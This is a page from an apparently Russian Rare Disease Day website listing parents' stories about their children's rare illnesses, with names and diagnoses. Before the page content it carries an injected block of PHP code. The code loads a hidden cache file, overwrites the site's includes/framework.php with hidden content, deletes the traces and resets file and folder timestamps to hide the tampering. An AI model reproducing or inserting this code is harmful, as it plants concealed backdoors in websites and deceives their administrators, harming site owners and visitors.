$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Истории
logo
 

28-02 международный день редких болезнейМеждународный день редких болезней

До дня редких болезней осталось

 
Home Вы находитесь здесь: Главная страница Истории
Истории
Владушка Воробьева

 

Здравствуйте, меня зовут Катя. Я мама семилетней Владушки. У моей дочки аутоиммунный полигландулярный синдром 1 типа:хроническая надпочечниковая недостаточность, гипопаратиреоз, кожно-слизистый кандидоз. Заболевание имеет генетическую природу - гомозиготная мутация R257X в гене AIRE. В Иркутской области она одна с таким заболеванием. За свою коротенькую жизнь моя дочка перенесла больше, чем иной человек за 70 лет.

Подробнее...
 
Колотвина Кристина
Моя дочь Колотвина Кристина 2010г.р. Больна с рождения. В процессе роста, стали замечать,что нет развития.Прошли все больницы и клиники Москвы. Диагноз везде установлен разный. В 7мес. госпитализировались в Российскую Детскую клиническую больницу.(с марта по май). 4 пареля дочь впала к кому. После чего установили Митохондриальное заболевание.
Подробнее...
 
Миша Шоболов, 11 лет

 

Вылечить нельзя - остается жить, зная, что твой ребенок может в любой момент уйти… Миша Шоболов, 11 лет. Редкая генетическая болезнь накопления - мукополисахаридоз тип 3 А. По словам специалистов, от редкой болезни никто не застрахован, недуг может появиться даже в зрелом возрасте.Диагноз нам поставили в 6, 5 лет, до этого - беспрерывные походы по врачам, дефектологам, психологам-психиатрам... Безрезультатно. С каждым годом становится все хуже. Дети, пораженные этим заболеванием, до двух лет почти не отличаются от своих сверстников, но позже развитие ребенка резко притормаживается. Как результат — ребенок полноценно так и не овладевает навыками речи.

Подробнее...
 
Арина 8 лет

 

img 3054 4f3ffe471c536Нашу девочку зовут Ариночка. Ей 8 лет. Мы из Ульяновска. Проблемы нашего долгожданного ребенка начались практически с рождения - с 2 месяцев. После перенесенного острого пиелонефрита, началось отставание в развитии: ПЭП гипокси-ишемического генеза, гипертензиционно-гидроцефальный синдром, синдром двигательных нарушений, содружественное сходящееся альтериирующее косоглазие, миопия слабой степени обоих глаз.

Подробнее...
 
Сулейманова Алина

 

  4f3cfb52c088aДобрый день! Моя дочь, Сулейманова Алина, родилась в 2005г. Первый и желанный ребенок в семье. В декабре 2007 года в Научном Центре здоровья детей РАМН г.Москва ей поставили тяжелый диагноз: Цирроз печени, Тирозинемия,1 тип. Впервые цирроз печени выявили на приеме у педиатра в Детской областной клинической больнице г.Н.Новгорода в 7 месяцев. Это был шок! И начались наши мытарства по больницам. Почти два месяца мы обследовались в Детской областной больнице, но врачи не могли найти причину болезни.

Подробнее...
 
Мама двоих детей

 

01 4f3df890ee273Здравствуйте!Моей дочери 31 год,мама двоих прекрасных деток.Четыре года назад обратилась за помощью к психиатрам(панические атаки).В результате длительного лечения нейролептиками(флюанксол)молодая женщина превратилась в глубокого инвалида,а дети фактически лишились матери.В июне 2012г у неё начались судороги всего тела.

Подробнее...
 
Владик

 

Здравствуйте! У моего младшего сына Владика адренолейкодистрофия. С рождения обычный ребенок:веселый, подвижный,болел очень мало, единственными проблемой была гиперактивность.К неврологам обращалась часто, то кровь с носа довольно частое явление, то речевое развитие, как мне казалось тормозит,то вздрагивал по ночам довольно сильно, но нас даже на учет не ставили.С лета 2010г у нас начал косить правый глаз и появились белые пятна на логтях и коленях, к осени ухудшился слух,а весной 2011 ребенок начал задыхаться. Всё это время мы практически прописались у врачей, но увы,нам то говорили не укрывайте ребенка по ночам, чтобы он не вздрагивал, то посмотрите повнимательнее на фото, возможно глаз и раньше косил, чего мы только не наслушались и не натерпелись, но увы нам ставили диагноз-гидроцифальный синдром, киста прозрачной перегородки (5 желудочек)и уверяли, что такой диагноз у каждого второго, переживать мол не чего.Только я так не считала, видела ребенок все хуже и хуже,ему пишут в эпикризе "тонус в норме",а он ботинки наклониться не может, чтобы обуть, почерк сильно изменился (строчки перестали существовать), даже тетради носила показывала.В общем казусов было очень много, книгу хватит написать.И только после того,как ребенку стало совсем плохо,в мае 2011г прозвучал диагноз-лейкодистрофия.Потом 2 месяца ждали результатов генетических анализов в г.Ростове, но опять ничего.Потом по собственной инициативе поехали в Израиль, там и узнали, что у нас адренолейкодистрофия,причем нам сказали что уже тяжелая форма.Самое страшное время у нас сейчас, за эти полгода Владик потерял зрение,у него пропал голос, он не может ходить, руки и ноги его не слушаются, не может жевать пищу, иногда бывают судороги,плохо и мало спит, и т.д. Очень хотим помочь нашему дорогому мальчику, но увы, не знаем как...

 
Буранов Дима

 

 4f3f717bc93afЗдравствуйте, мы родители 13-летнего особого ребенка Буранова Димы, родившегося в 1999г. В мае 2011 года Диме поставили тяжелый диагноз:Тирозинемия,1 тип. Тирозинемия - это заболевание, возникающее из-за дефекта обмена веществ, и является врожденным, при котором организм не способен эффективно расщеплять аминокислоту тирозин. Основными симптомами этой болезни является поражение печени и почек. . Если не лечить эту болезнь,то ребенок обречен на смерть от карциномы печени (злокачественной опухоли), которая появляется вследствии поражения печени.

Подробнее...
 
Алена, 3,5 года

  4f38c4257d1a6Здравствуйте! У моей дочери хромосомная аберрация, изменение структуры одной из хромосом. Алёне 3,5 года.

Проблемы со здоровьем начались с самого рождения. Из-за двойного порока сердца и гипогликемии из роддома дочь перевели в больницу. К счастью, обошлось без операции. Однако и после выписки из больницы наши испытания не закончились. С каждым днем становилось очевидно, что Алёна не похожа на других детей. Она сильно отставала в развитии. Мы проходили курсы реабилитации, принимали медикаменты, занимались в бассейне, обращались к различным специалистам. Добились некоторых положительных результатов. В год Алёна заболела пневмонией. Уже через несколько дней после поступления в больницу, дочь не смогла дышать самостоятельно, ее перевели в реанимацию и подключили к аппарату ИВЛ. Полтора месяца врачи боролись за ее жизнь. Болезнь протекала очень тяжело. Три месяца мы провели в больнице. После этого, конечно, пришлось начинать с нуля: массажи, ЛФК, мануальная терапия, бассейн, иппотерапия, курсы реабилитации в детских центрах. В настоящий момент наши диагнозы: ДЦП, бронхо-легочная дисплазия, гипотериоз, нарушение обмена веществ, дискинезия пищеварительного тракта, микроцефалия, порок сердца (открытое овально окно), задержка психо-речевого и моторного развития.

Подробнее...
 
Сидоркин Кирилл 3 года

 

img 0094 1 4f3d0acd69d83Я мама ребенка, у которого нет левой руки (локтя, кисти). Его зовут Сидоркин Кирилл. Родился такой. Врачи высказали предположение, что внутриутробная ампутация - не аномалия развития. Сейчас ему 3 года. Требуется изготовление протеза в Германии. С клиникой мы разговаривали, списывались. Они делают биоэлектрические протезы детям с 2-х лет.

Подробнее...
 
<< Первая < Предыдущая 1 2 3 4 5 Следующая > Последняя >>

Страница 3 из 5

Завершенные конкурсы

Главная | О дне редких | Мероприятия | Фото и видео | Стать другом | Конкурсы

Разработка сайта: DriveLab.ru